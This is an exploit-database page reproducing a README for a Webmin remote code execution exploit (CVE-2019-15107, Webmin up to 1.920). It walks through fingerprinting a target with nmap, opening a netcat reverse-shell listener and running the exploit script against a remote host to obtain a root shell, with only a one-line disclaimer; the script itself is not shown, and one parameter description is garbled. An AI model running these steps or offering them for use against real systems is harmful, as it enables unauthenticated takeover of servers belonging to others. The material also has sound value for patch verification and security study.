Sploitus

Exploit for OS Command Injection in Webmin

CVE-2019-15107

githubexploit · 2020-10-15

Exploit Code

README31 lines
## https://sploitus.com/exploit?id=1AA365AF-4916-5488-9812-814F9C6774D6
# CVE-2019–15107 - Unauthenticated RCE Webmin <=1.920


This python script should give you a root shell on Webmin 1.890

Check with nmap:                                                                                                                                                                 
`nmap -sC -sV -p 10000 TARGET_IP`

Result:                                                                                                                                                                 
`10000/tcp open  http    MiniServ 1.890 (Webmin httpd)`

How to use this exploit:

Step 1:
    `nc -lnvp LPORT`

Step 2:
    `chmod +x exploit.py`

    ./exploit RHOST RPORT LHOST LPORT

    RHOST = the target
    RPORT = the target IP address (Usually 10000)
    LHOST = your kali box
    LPORT = your reverse shell port

Step 3:
Get a root shell!

DO NOT HARM UNAUTHORIZED SYSTEMS!!!